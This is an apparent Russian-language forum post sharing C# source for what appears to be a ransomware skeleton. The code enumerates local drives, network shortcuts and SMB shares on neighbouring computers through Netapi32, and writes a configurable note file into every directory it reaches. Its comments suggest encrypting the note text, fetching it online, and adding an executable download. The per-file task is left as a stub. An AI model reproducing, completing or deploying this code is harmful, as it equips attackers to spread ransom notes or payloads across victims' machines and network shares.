Отказ от ответственности

using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Security;
using System.Threading;
using System.Threading.Tasks;

namespace fo
{
 static class Program
 {
 [Flags]
 public enum ShareType //c
 {
 Disk = 0,
 Printer = 1,
 Device = 2,
 IPC = 3,
 Special = -2147483648
 }
 [DllImport("user32.dll", CharSet = CharSet.Auto)]
 private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni);
 private static string Note2 = "ТЕКСТ"; // можно передавать в зашифрованном виде aesinmemory("ТЕКСТ"); либо получать текст через get запрос для обновления в онлайне
 private static string TXTNAME = "ИМЯ TXT"; // аналогично

 [STAThread]
 public static void Main()
 {
 Letsgooo();
 }
 private static List<string> GetLocations()
 {
 List<string> list = new List<string>();
 string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Network Shortcuts");
 try
 {
 list.AddRange(Directory.GetDirectories(path));
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 try
 {
 NetworkBrowser networkBrowser = new NetworkBrowser();
 foreach (object obj in networkBrowser.getNetworkComputers())
 {
 string server = (string)obj;
 NetworkBrowser.ShareCollection shares = NetworkBrowser.ShareCollection.GetShares(server);
 bool flag = shares == null;
 if (!flag)
 {
 foreach (object obj2 in shares)
 {
 NetworkBrowser.Share share = (NetworkBrowser.Share)obj2;
 bool isFileSystem = share.IsFileSystem;
 if (isFileSystem)
 {
 try
 {
 DirectoryInfo root = share.Root;
 DirectoryInfo[] directories = root.GetDirectories();
 for (int i = 0; i < directories.Length; i++)
 {
 list.Add(directories[i].FullName);
 }
 }
 catch (Exception)
 {
 }
 }
 }
 }
 }
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 List<string> list2 = new List<string>();
 list2.AddRange(Directory.GetLogicalDrives());
 list2.Sort();
 list2.Reverse();
 list.AddRange(list2);
 return list;
 }

 private static void MakeNote(string path)
 {
 try
 {
 string path3 = Path.Combine(path, TXTNAME + ".txt");
 File.WriteAllText(path3, Note2);
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 }
 public static void Letsgooo()
 {
 Note2 = Note2.Replace("\n", Environment.NewLine);
 GC.Collect(); // собираем мусор и освобождаем память
 foreach (string item in GetLocations())
 {
 try
 {
 SemaphoreSlim semaphoreSlim = new SemaphoreSlim(10);
 List<Task> list2 = new List<Task>();
 List<string> list3 = new List<string>();
 list3.Add(item);
 for (; ; )
 {
 try
 {
 if (list3.Count >= 1)
 {
 if (list3[0].StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.Windows)) || list3[0].StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)))
 {
 list3.RemoveAt(0);
 }
 else
 {
 try
 {
 string[] files = Directory.GetFiles(list3[0]);
 if (files.Length >= 1)
 {
 for (int i = 0; i < files.Length; i++)
 {
 try
 {
 semaphoreSlim.Wait();
 string path = files[i];
 list2.Add(Task.Run(delegate ()
 {
 Console.WriteLine($"{list3[0]}"); // можно убрать чтобы не мешало смотреть ошибки
 semaphoreSlim.Release();
 }));
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 }
 }
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 MakeNote(list3[0]); // команда для ***** текстовика по всем каталогам, можно приделать подгрузку exe
 list3.AddRange(Directory.GetDirectories(list3[0]));
 list3.RemoveAt(0);
 }
 continue;
 }
 }
 catch (Exception)
 {
 list3.RemoveAt(0);
 continue;
 }
 break;
 }
 Task.WaitAll(list2.ToArray()); // ждем завершения запущенной задачи
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 }
 GC.Collect(); // собираем мусор и освобождаем память
 }
 public sealed class NetworkBrowser
 {
 [SuppressUnmanagedCodeSecurity]
 [DllImport("Netapi32", CharSet = CharSet.Auto, SetLastError = true)]
 public static extern int NetServerEnum(string ServerNane, int dwLevel, ref IntPtr pBuf, int dwPrefMaxLen, out int dwEntriesRead, out int dwTotalEntries, int dwServerType, string domain, out int dwResumeHandle);

 [SuppressUnmanagedCodeSecurity]
 [DllImport("Netapi32", SetLastError = true)]
 public static extern int NetApiBufferFree(IntPtr pBuf);

 public ArrayList getNetworkComputers()
 {
 ArrayList arrayList = new ArrayList();
 int num = 1;
 int num2 = 2;
 IntPtr zero = IntPtr.Zero;
 IntPtr ptr = IntPtr.Zero;
 int num3 = 0;
 int num4 = 0;
 int num5 = 0;
 int num6 = Marshal.SizeOf(typeof(NetworkBrowser._SERVER_INFO_100));
 try
 {
 int num7 = NetworkBrowser.NetServerEnum(null, 100, ref zero, -1, out num3, out num4, num | num2, null, out num5);
 bool flag = num7 == 0;
 if (flag)
 {
 for (int i = 0; i < num4; i++)
 {
 ptr = new IntPtr((int)zero + i * num6);
 NetworkBrowser._SERVER_INFO_100 server_INFO_ = (NetworkBrowser._SERVER_INFO_100)Marshal.PtrToStructure(ptr, typeof(NetworkBrowser._SERVER_INFO_100));
 arrayList.Add(server_INFO_.sv100_name);
 }
 }
 }
 catch (Exception ex)
 {
 Console.WriteLine(ex.Message);
 }
 finally
 {
 NetworkBrowser.NetApiBufferFree(zero);
 }
 return arrayList;
 }

 public struct _SERVER_INFO_100
 {
 internal int sv100_platform_id;

 [MarshalAs(UnmanagedType.LPWStr)]
 internal string sv100_name;
 }
 public class Share
 {
 public Share(string server, string netName, string path, ShareType shareType, string remark)
 {
 bool flag = ShareType.Special == shareType && "IPC$" == netName;
 if (flag)
 {
 shareType |= ShareType.IPC;
 }
 this._server = server;
 this._netName = netName;
 this._path = path;
 this._shareType = shareType;
 this._remark = remark;
 }

 public string Server
 {
 get
 {
 return this._server;
 }
 }

 public string NetName
 {
 get
 {
 return this._netName;
 }
 }

 public string Path
 {
 get
 {
 return this._path;
 }
 }

 public ShareType ShareType
 {
 get
 {
 return this._shareType;
 }
 }

 public string Remark
 {
 get
 {
 return this._remark;
 }
 }

 public bool IsFileSystem
 {
 get
 {
 bool flag = (this._shareType & ShareType.Device) > ShareType.Disk;
 bool result;
 if (flag)
 {
 result = false;
 }
 else
 {
 bool flag2 = (this._shareType & ShareType.IPC) > ShareType.Disk;
 if (flag2)
 {
 result = false;
 }
 else
 {
 bool flag3 = (this._shareType & ShareType.Printer) > ShareType.Disk;
 if (flag3)
 {
 result = false;
 }
 else
 {
 bool flag4 = (this._shareType & ShareType.Special) == ShareType.Disk;
 if (flag4)
 {
 result = true;
 }
 else
 {
 bool flag5 = ShareType.Special == this._shareType && this._netName != null && this._netName.Length != 0;
 result = flag5;
 }
 }
 }
 }
 return result;
 }
 }

 public DirectoryInfo Root
 {
 get
 {
 bool isFileSystem = this.IsFileSystem;
 DirectoryInfo result;
 if (isFileSystem)
 {
 bool flag = this._server == null || this._server.Length == 0;
 if (flag)
 {
 bool flag2 = this._path == null || this._path.Length == 0;
 if (flag2)
 {
 result = new DirectoryInfo(this.ToString());
 }
 else
 {
 result = new DirectoryInfo(this._path);
 }
 }
 else
 {
 result = new DirectoryInfo(this.ToString());
 }
 }
 else
 {
 result = null;
 }
 return result;
 }
 }

 public override string ToString()
 {
 bool flag = this._server == null || this._server.Length == 0;
 string result;
 if (flag)
 {
 result = string.Format("\\\\{0}\\{1}", Environment.MachineName, this._netName);
 }
 else
 {
 result = string.Format("\\\\{0}\\{1}", this._server, this._netName);
 }
 return result;
 }

 public bool MatchesPath(string path)
 {
 bool flag = !this.IsFileSystem;
 bool result;
 if (flag)
 {
 result = false;
 }
 else
 {
 bool flag2 = path == null || path.Length == 0;
 result = (flag2 || path.ToLower().StartsWith(this._path.ToLower()));
 }
 return result;
 }

 private string _server;

 private string _netName;

 private string _path;

 private ShareType _shareType;

 private string _remark;
 }
 public class ShareCollection : ReadOnlyCollectionBase
 {
 protected static bool IsNT
 {
 get
 {
 return PlatformID.Win32NT == Environment.OSVersion.Platform;
 }
 }

 protected static bool IsW2KUp
 {
 get
 {
 OperatingSystem osversion = Environment.OSVersion;
 return PlatformID.Win32NT == osversion.Platform && osversion.Version.Major >= 5;
 }
 }

 [DllImport("mpr", CharSet = CharSet.Auto)]
 protected static extern int WNetGetUniversalName(string lpLocalPath, int dwInfoLevel, ref ShareCollection.UNIVERSAL_NAME_INFO lpBuffer, ref int lpBufferSize);

 [DllImport("mpr", CharSet = CharSet.Auto)]
 protected static extern int WNetGetUniversalName(string lpLocalPath, int dwInfoLevel, IntPtr lpBuffer, ref int lpBufferSize);

 [DllImport("netapi32", CharSet = CharSet.Unicode)]
 protected static extern int NetShareEnum(string lpServerName, int dwLevel, out IntPtr lpBuffer, int dwPrefMaxLen, out int entriesRead, out int totalEntries, ref int hResume);

 [DllImport("svrapi", CharSet = CharSet.Ansi)]
 protected static extern int NetShareEnum([MarshalAs(UnmanagedType.LPTStr)] string lpServerName, int dwLevel, IntPtr lpBuffer, ushort cbBuffer, out ushort entriesRead, out ushort totalEntries);

 [DllImport("netapi32")]
 protected static extern int NetApiBufferFree(IntPtr lpBuffer);

 protected static void EnumerateSharesNT(string server, ShareCollection shares)
 {
 int num = 2;
 int num2 = 0;
 IntPtr zero = IntPtr.Zero;
 try
 {
 int num4;
 int num5;
 int num3 = ShareCollection.NetShareEnum(server, num, out zero, -1, out num4, out num5, ref num2);
 bool flag = 5 == num3;
 if (flag)
 {
 num = 1;
 num3 = ShareCollection.NetShareEnum(server, num, out zero, -1, out num4, out num5, ref num2);
 }
 bool flag2 = num3 == 0 && num4 > 0;
 if (flag2)
 {
 Type type = (2 == num) ? typeof(ShareCollection.SHARE_INFO_2) : typeof(ShareCollection.SHARE_INFO_1);
 int num6 = Marshal.SizeOf(type);
 int i = 0;
 int num7 = zero.ToInt32();
 while (i < num4)
 {
 IntPtr ptr = new IntPtr(num7);
 bool flag3 = 1 == num;
 if (flag3)
 {
 ShareCollection.SHARE_INFO_1 share_INFO_ = (ShareCollection.SHARE_INFO_1)Marshal.PtrToStructure(ptr, type);
 shares.Add(share_INFO_.NetName, string.Empty, share_INFO_.ShareType, share_INFO_.Remark);
 }
 else
 {
 ShareCollection.SHARE_INFO_2 share_INFO_2 = (ShareCollection.SHARE_INFO_2)Marshal.PtrToStructure(ptr, type);
 shares.Add(share_INFO_2.NetName, share_INFO_2.Path, share_INFO_2.ShareType, share_INFO_2.Remark);
 }
 i++;
 num7 += num6;
 }
 }
 }
 finally
 {
 bool flag4 = IntPtr.Zero != zero;
 if (flag4)
 {
 ShareCollection.NetApiBufferFree(zero);
 }
 }
 }

 protected static void EnumerateShares9x(string server, ShareCollection shares)
 {
 int num = 50;
 Type typeFromHandle = typeof(ShareCollection.SHARE_INFO_50);
 int num2 = Marshal.SizeOf(typeFromHandle);
 ushort num3 = (ushort)(20 * num2);
 IntPtr intPtr = Marshal.AllocHGlobal((int)num3);
 try
 {
 ushort num5;
 ushort num6;
 int num4 = ShareCollection.NetShareEnum(server, num, intPtr, num3, out num5, out num6);
 bool flag = 124 == num4;
 if (flag)
 {
 num = 1;
 typeFromHandle = typeof(ShareCollection.SHARE_INFO_1_9x);
 num2 = Marshal.SizeOf(typeFromHandle);
 num4 = ShareCollection.NetShareEnum(server, num, intPtr, num3, out num5, out num6);
 }
 bool flag2 = num4 == 0 || 234 == num4;
 if (flag2)
 {
 int i = 0;
 int num7 = intPtr.ToInt32();
 while (i < (int)num5)
 {
 IntPtr ptr = new IntPtr(num7);
 bool flag3 = 1 == num;
 if (flag3)
 {
 ShareCollection.SHARE_INFO_1_9x share_INFO_1_9x = (ShareCollection.SHARE_INFO_1_9x)Marshal.PtrToStructure(ptr, typeFromHandle);
 shares.Add(share_INFO_1_9x.NetName, string.Empty, share_INFO_1_9x.ShareType, share_INFO_1_9x.Remark);
 }
 else
 {
 ShareCollection.SHARE_INFO_50 share_INFO_ = (ShareCollection.SHARE_INFO_50)Marshal.PtrToStructure(ptr, typeFromHandle);
 shares.Add(share_INFO_.NetName, share_INFO_.Path, share_INFO_.ShareType, share_INFO_.Remark);
 }
 i++;
 num7 += num2;
 }
 }
 else
 {
 Console.WriteLine(num4);
 }
 }
 finally
 {
 Marshal.FreeHGlobal(intPtr);
 }
 }

 protected static void EnumerateShares(string server, ShareCollection shares)
 {
 bool flag = server != null && server.Length != 0 && !ShareCollection.IsW2KUp;
 if (flag)
 {
 server = server.ToUpper();
 bool flag2 = '\\' != server[0] || '\\' != server[1];
 if (flag2)
 {
 server = "\\\\" + server;
 }
 }
 bool isNT = ShareCollection.IsNT;
 if (isNT)
 {
 ShareCollection.EnumerateSharesNT(server, shares);
 }
 else
 {
 ShareCollection.EnumerateShares9x(server, shares);
 }
 }

 public static bool IsValidFilePath(string fileName)
 {
 bool flag = fileName == null || fileName.Length == 0;
 bool result;
 if (flag)
 {
 result = false;
 }
 else
 {
 char c = char.ToUpper(fileName[0]);
 bool flag2 = 'A' > c || c > 'Z';
 if (flag2)
 {
 result = false;
 }
 else
 {
 bool flag3 = Path.VolumeSeparatorChar != fileName[1];
 if (flag3)
 {
 result = false;
 }
 else
 {
 bool flag4 = Path.DirectorySeparatorChar != fileName[2];
 result = !flag4;
 }
 }
 }
 return result;
 }

 public static string PathToUnc(string fileName)
 {
 bool flag = fileName == null || fileName.Length == 0;
 string result;
 if (flag)
 {
 result = string.Empty;
 }
 else
 {
 fileName = Path.GetFullPath(fileName);
 bool flag2 = !ShareCollection.IsValidFilePath(fileName);
 if (flag2)
 {
 result = fileName;
 }
 else
 {
 int num = 0;
 ShareCollection.UNIVERSAL_NAME_INFO universal_NAME_INFO = default(ShareCollection.UNIVERSAL_NAME_INFO);
 int cb = Marshal.SizeOf(universal_NAME_INFO);
 num = ShareCollection.WNetGetUniversalName(fileName, 1, ref universal_NAME_INFO, ref cb);
 bool flag3 = 234 == num;
 if (flag3)
 {
 IntPtr intPtr = Marshal.AllocHGlobal(cb);
 try
 {
 num = ShareCollection.WNetGetUniversalName(fileName, 1, intPtr, ref cb);
 bool flag4 = num == 0;
 if (flag4)
 {
 universal_NAME_INFO = (ShareCollection.UNIVERSAL_NAME_INFO)Marshal.PtrToStructure(intPtr, typeof(ShareCollection.UNIVERSAL_NAME_INFO));
 }
 }
 finally
 {
 Marshal.FreeHGlobal(intPtr);
 }
 }
 int num2 = num;
 if (num2 != 0)
 {
 if (num2 != 2250)
 {
 Console.WriteLine("Unknown return value: {0}", num);
 result = string.Empty;
 }
 else
 {
 ShareCollection localShares = ShareCollection.LocalShares;
 bool flag5 = localShares != null;
 if (flag5)
 {
 Share share = localShares[fileName];
 bool flag6 = share != null;
 if (flag6)
 {
 string path = share.Path;
 bool flag7 = path != null && path.Length != 0;
 if (flag7)
 {
 int num3 = path.Length;
 bool flag8 = Path.DirectorySeparatorChar != path[path.Length - 1];
 if (flag8)
 {
 num3++;
 }
 bool flag9 = num3 < fileName.Length;
 if (flag9)
 {
 fileName = fileName.Substring(num3);
 }
 else
 {
 fileName = string.Empty;
 }
 fileName = Path.Combine(share.ToString(), fileName);
 }
 }
 }
 result = fileName;
 }
 }
 else
 {
 result = universal_NAME_INFO.lpUniversalName;
 }
 }
 }
 return result;
 }

 public static Share PathToShare(string fileName)
 {
 bool flag = fileName == null || fileName.Length == 0;
 Share result;
 if (flag)
 {
 result = null;
 }
 else
 {
 fileName = Path.GetFullPath(fileName);
 bool flag2 = !ShareCollection.IsValidFilePath(fileName);
 if (flag2)
 {
 result = null;
 }
 else
 {
 ShareCollection localShares = ShareCollection.LocalShares;
 bool flag3 = localShares == null;
 if (flag3)
 {
 result = null;
 }
 else
 {
 result = localShares[fileName];
 }
 }
 }
 return result;
 }

 public static ShareCollection LocalShares
 {
 get
 {
 bool flag = ShareCollection._local == null;
 if (flag)
 {
 ShareCollection._local = new ShareCollection();
 }
 return ShareCollection._local;
 }
 }

 public static ShareCollection GetShares(string server)
 {
 return new ShareCollection(server);
 }

 public ShareCollection()
 {
 this._server = string.Empty;
 ShareCollection.EnumerateShares(this._server, this);
 }

 public ShareCollection(string server)
 {
 this._server = server;
 ShareCollection.EnumerateShares(this._server, this);
 }

 protected void Add(Share share)
 {
 base.InnerList.Add(share);
 }

 protected void Add(string netName, string path, ShareType shareType, string remark)
 {
 base.InnerList.Add(new Share(this._server, netName, path, shareType, remark));
 }

 public string Server
 {
 get
 {
 return this._server;
 }
 }

 public Share this[int index]
 {
 get
 {
 return (Share)base.InnerList[index];
 }
 }

 public Share this[string path]
 {
 get
 {
 bool flag = path == null || path.Length == 0;
 Share result;
 if (flag)
 {
 result = null;
 }
 else
 {
 path = Path.GetFullPath(path);
 bool flag2 = !ShareCollection.IsValidFilePath(path);
 if (flag2)
 {
 result = null;
 }
 else
 {
 Share share = null;
 for (int i = 0; i < base.InnerList.Count; i++)
 {
 Share share2 = (Share)base.InnerList[i];
 bool flag3 = share2.IsFileSystem && share2.MatchesPath(path);
 if (flag3)
 {
 bool flag4 = share == null;
 if (flag4)
 {
 share = share2;
 }
 else
 {
 bool flag5 = share.Path.Length < share2.Path.Length;
 if (flag5)
 {
 bool flag6 = share2.ShareType == ShareType.Disk || share.ShareType > ShareType.Disk;
 if (flag6)
 {
 share = share2;
 }
 }
 }
 }
 }
 result = share;
 }
 }
 return result;
 }
 }

 public void CopyTo(Share[] array, int index)
 {
 base.InnerList.CopyTo(array, index);
 }

 protected const int MAX_PATH = 260;

 protected const int NO_ERROR = 0;

 protected const int ERROR_ACCESS_DENIED = 5;

 protected const int ERROR_WRONG_LEVEL = 124;

 protected const int ERROR_MORE_DATA = 234;

 protected const int ERROR_NOT_CONNECTED = 2250;

 protected const int UNIVERSAL_NAME_INFO_LEVEL = 1;

 protected const int MAX_SI50_ENTRIES = 20;

 private static ShareCollection _local = null;

 private string _server;

 [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
 protected struct UNIVERSAL_NAME_INFO
 {
 [MarshalAs(UnmanagedType.LPTStr)]
 public string lpUniversalName;
 }

 [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
 protected struct SHARE_INFO_2
 {
 [MarshalAs(UnmanagedType.LPWStr)]
 public string NetName;

 public ShareType ShareType;

 [MarshalAs(UnmanagedType.LPWStr)]
 public string Remark;

 public int Permissions;

 public int MaxUsers;

 public int CurrentUsers;

 [MarshalAs(UnmanagedType.LPWStr)]
 public string Path;

 [MarshalAs(UnmanagedType.LPWStr)]
 public string Password;
 }

 [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
 protected struct SHARE_INFO_1
 {
 [MarshalAs(UnmanagedType.LPWStr)]
 public string NetName;

 public ShareType ShareType;

 [MarshalAs(UnmanagedType.LPWStr)]
 public string Remark;
 }

 // Token: 0x02000014 RID: 20
 [StructLayout(LayoutKind.Sequential, Pack = 1)]
 protected struct SHARE_INFO_50
 {
 public ShareType ShareType
 {
 get
 {
 return (ShareType)(this.bShareType & 127);
 }
 }

 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 13)]
 public string NetName;

 public byte bShareType;

 public ushort Flags;

 [MarshalAs(UnmanagedType.LPTStr)]
 public string Remark;

 [MarshalAs(UnmanagedType.LPTStr)]
 public string Path;

 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 9)]
 public string PasswordRW;

 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 9)]
 public string PasswordRO;
 }

 [StructLayout(LayoutKind.Sequential, Pack = 1)]
 protected struct SHARE_INFO_1_9x
 {
 public ShareType ShareType
 {
 get
 {
 return (ShareType)(this.bShareType & 32767);
 }
 }

 [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 13)]
 public string NetName;

 public byte Padding;

 public ushort bShareType;

 [MarshalAs(UnmanagedType.LPTStr)]
 public string Remark;
 }
 }
 }
 }
}

 

 

Информация: Посетители, находящиеся в группе Гости, не могут скачивать файлы с данного сайта.

Пароль к архивам: ComInet

Автор материала

...

Логин на сайте: ...

Группа: ...

Статус: ...

Категория

C++ / C# / .NET

Поделись с друзьями